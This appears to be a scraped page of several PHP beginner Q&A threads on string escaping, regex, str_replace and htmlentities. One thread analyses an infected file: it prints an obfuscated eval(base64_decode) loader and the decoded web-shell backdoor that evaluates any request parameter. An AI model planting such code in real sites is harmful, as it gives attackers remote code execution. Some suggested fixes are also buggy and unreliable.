<?php
$file_handle=fopen("normal.txt","rb");
$i=0;
while (!feof($file_handle)){
$fline=gets($file_handle);
$fparts=preg_split("/:|;\");
$x_values[$i]=(float)$parts[1];
$y_values[$i]=(float)$parts[2];
$i=$i+1;
}
include 'libchart/libchart/classes/libchart.php';
$data_length=sizeof($x_values);
for(i=0;$i< $data_length; $i++)
$dataset -> addPoint(newPoint('',$y_values[$i]));
$chart -> render('figs/text.png');
?>
//this part is not recognised...so it is thhrowing an error.
I think the rest of the code is ok....but that thing keeps throwing that error at the end of my code.I just don't know why...could please someone help me? I'd appreciate that much .That is the only error i find....if there are others too please tell me...i am just a beginner at website designing...
So your help is precious to me
You have delimted your closing quote in this line:
preg_split("/:|;\");
You should put in a second \ to counter it:
preg_split("/:|;\\", $string);
Normally when you put a \ before a quotation, it means "treat the quotation as part of the string". As you don't want it to mean that you need to delimit the delimiter heh. The compiler thinks that the rest of your code is still part of the string - even the syntax highlight here on SO is showing it.
See the difference:
$fline=gets($file_handle);
$fparts=preg_split("/:|;\\", $string);
$x_values[$i]=(float)$parts[1];
$y_values[$i]=(float)$parts[2];
$i=$i+1;
Edit: The elephant in the room was pointed out by KarelG. Good show. preg_split does indeed need to params. Without the extra \ it would have still not worked though :)
Related
UPDATE !!!
It seems that the website I used to test my code has issues and therefore I had problem with executing my thing. I still leave this post up, so someone else, with similar problem can learn something.
website to avoid: http://phptester.net
ORIGINAL POST !!!
I want to add a string to my variable that uses a double qouted word. Is that possible? I only get error.
FATAL ERROR syntax error, unexpected 'Old' (T_STRING) on line number 4
Here is the code:
<?php
$var = "name: ";
$biography = "\n I'm Robert and I came from \"Old\" Europe.";
echo $biography;
?>
I was checking it on this website:
http://phptester.net
It must be smg to do with the new line character in the beginning, or perhaps its not even possible to add double qouted words to a variable. I am not sure.
Your help is greatly appreciated !
I am getting a error while using php str_replace function.
I am reading out a string in a different file a JSON
and if I remove the str_replace part it works without the error but I want to make the ** go to bold if there are any other ways you know you can also just tell that.
<?php
$data = json_decode($readjson, true);
echo "<br/><br<br/>";
foreach ($data as $emp) {
echo str_replace("**","<strong>","$data"), $emp['message']."<br/>";
}
?>
And the output is
Notice: Array to string conversion in C:\Users\k-ver\Dropbox\Other\website stuff or smth\r3mind3r\changelog.php on line 16
Array - Weekley Update - Another great week at our side! We have made enournous advances in synching with the raspberry pi (the computer we are going to host from) and are closer than ever to our promised release We have also been fixing on the mute commands and are very close to making it work, aswell with unmute command.language feature is closing up on complete and about 70% of the bot has the language system working. We also made a new system that should be easier to use for bouth us devs and the translators. All thats left for the release atm is: -finishing synching -fixing the mute command and unmute command -make a functioning permissonlevel system -adding those last 30% of the bot that does not have the translationsystem in place. and the bot will have its huge release! (about time if you asked me)
(it is for a dev log)
and the part I don't understand is the notice and I also don't understand how to fix it
It would be awesome if you guys would like to help me.
This variable should be string value e.g $emp['message'] not the multi-dimensional array $data.
// see this line with $emp['message'] not $data array
str_replace("**","<strong>",$emp['message']);
EDIT: As per comment
<?php
$string = '{
"188762891137056769": {
"message": "\n**- Weekley Update -**\nAnother great week at our side! \nWe have made enournous advances in synching with the raspberry pi *(the computer we are going to host from)* and are closer than ever to our promised release\n\nWe have also been fixing on the mute commands and are very close to making it work, aswell with unmute command.language feature is closing \nup on complete and about 70% of the bot has the language system working. We also made a new system that should be easier to use for bouth \nus devs and the translators.\n\n**All thats left for the release atm is:**\n-finishing synching \n-fixing the mute command and unmute command \n-make a functioning permissonlevel system\n-adding those last 30% of the bot that does not have the translationsystem in place. \n\nand the bot will have its huge release! *(about time if you asked me)*"
}
}';
$array = json_decode($string,1);
$message = $array['188762891137056769']['message'];
$re = '/\*\*(.*?)\*\*/m';
$subst = '<strong>$1</strong>';
echo preg_replace($re, $subst, $message);
?>
DEMO: https://3v4l.org/ovhGq
You used array inside str_replace("**","","$data") this is wrong, how you can fix it just replace $data with $emp
Your code is:
foreach ($data as $emp) {
echo str_replace("**","<strong>","$data"), $emp['message']."<br/>";
}
You see $data is an array, an $emp is the current element within the foreach loop.
So, you should do: str_replace("", "", $emp)
By the way, I see this: $emp['message'], which means $emp is an array too?
Maybe you should post the $readjson variable, so we'll know what type of data is.
If you want to enclose the text between ** with <strong></strong>, you need to use a regex. Here is a little code that does what you want :
function boldify($text) {
return preg_replace('/\*\*((.|\n|\r)*)\*\*/imU', '<strong>$1</strong>', $text);
}
Basically, it uses the function preg_replace to replace according to the regex (the first parameter).
How does this regex work :
1) You have \*\* at the beginning because that's your "opening tag". (* is a special regex character, so it needs escaping.)
2) You have ((.|\n|\r)*).
The inner part : .|\n|\r says "Catch me any character (the .) or (the |) a line feed (the \n) or a carriage return (the \r).".
Then you have the inner part enclosed with (inner part)*. This says "Match the inner part any number of time.".
Finally, you have the "middle part" enclosed with (middle part). This says "Remember what you just caught inside the parentheses, we will need it for the replace.
3) You have \*\* again.
4) All this is enclosed by /regex/imU.
The / are just there to say where the regex actually is.
The imU are flags: i is ignore case, m multiline, U ungreedy.
i are m are pretty straightforward, but U says "catch the smallest group possible".
As the second parameter you have '<strong>$1</strong>'. $1 is the group we remember from 2).
The third parameter is the subject.
I hope it was clear.
You can just use it like this :
echo boldify($emp['message']);
I Have read a lot on the normal php eval with the base64_encoder and was able to decode much of the infected php files.
With that said, I have this one file that does not follow standard eval call and I would like some help from the community.
Can anyone decode and/or tell me whats happening in the code?
Thanks,
--Eric
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnBvKi9ldmFsLypGUSZRX00qLygvKk56SiovYmFzZTY0X2RlY29kZS8qPDU+cyovKC8qTVl5YnMqLydMeW91U
EZJcUwybG1MeXBiY0h0aFZTb3ZLQzhxZCcvKndLc2Q/PGgqLy4vKllcdkgqLycweHVYRFJvTkNvdmFYTnpaWFF2S2sxTVBDb3ZLQycvKiF9Z1sqLy4vKiBrVlQqLyc4cWRYMHJLaThrWDFKRlVWVkZVMVF2S2
54Mk9DdCcvKjlRSG1Ta1FIKi8uLypFYlMuaCovJ2VNRHM4S2k5Ykx5cHNkSFlxTH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y8qXW8/Ki8='/*L,}I*/)/*8Oyj*//*uEGgU*/)/*+LT*//*Q?.e*/;/*oGCkBv*/ ?>
If you go all the way down the rabbit hole, you get the following command.
if(isset($_REQUEST['cnysq']))eval(stripslashes($_REQUEST['cnysq']));
If you open the code up in a visual editor, you'll see there are a lot of comments. Remove those, and you'll see that it's a bas64 encoded string.
Decode that, and you'll see more of the same.
Keep removing comments and concatenating strings and after about 3 levels, you get to this point.
It's just a bunch of PHP comments in there, e.g. from the first line:
<?php /*vg!*/eval/*E}--oP8*/(/*pxHO*/base64_decode/*vgKGm*/(/*0%C*/'LypPSnB etc...
^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^ ^^^^^^^^^ ^^^^^^^--comments
is really just
<?php eval(base64_decode('LyPSnB etc...
It keeps killing me for some time...
I'm new to php and I'm writing a parser for price comparison site, therefore I need to have quite a few variables:
$plae = "<pastwisko>";
$user = "<krowa>";
$product "<trawa>";
But without spaces...
Using or echoing those gives me nothing. I've tried to search stackoverflow, google and php documentation and nothing... maybe my english sucks...
Thou I'll be really greatfull for help
If you are echoing those into HTML then they will be parsed as [incorrect] HTML tags by your browser and will not show. You should use htmlentities to make them display as text: http://php.net/manual/en/function.htmlentities.php
You've forgot a "=".
$product "<trawa>";
// Should be.
$product = "<trawa>";
Edit:
Joe has the correct answer to your problem, I ran the script in the terminal and that was the only error I was given. I didn't think of htmlentities, I'm sorry if my post was irrelevant and unnecessary.
I have started making a syntax highlighter in php (only a quick one) and so far I have got a code box generator (aka it creates a table with styles that looks good and can display source code and html code). At the moment when writing code with it I do this:
$code = "def example_ruby_code(does_it_work)
" . "(insert tab here) #does_it_work = false
" . "end"
codebox($code, "title_here.rb")
My trouble is that I know that I can't have tabs in html so I used the following:
preg_replace("/\t/", "     ", $code)
(this went in the codebox function)
But it doesn't seem to work, the output just shows no indentation whatsoever. Any ideas? Thanks in advance, ell.
You are missing semi-colon after  :
preg_replace("/\t/", " ", $code);
Note: You may find highlight_string function useful.
Thanks for the semi-colon thing but I'v realised I'v been a complete moron, instead of setting the new value I just called preg_replace! Silly me! Thanks anyway, it still wouldn't of worked without the semi colons. Thanks :)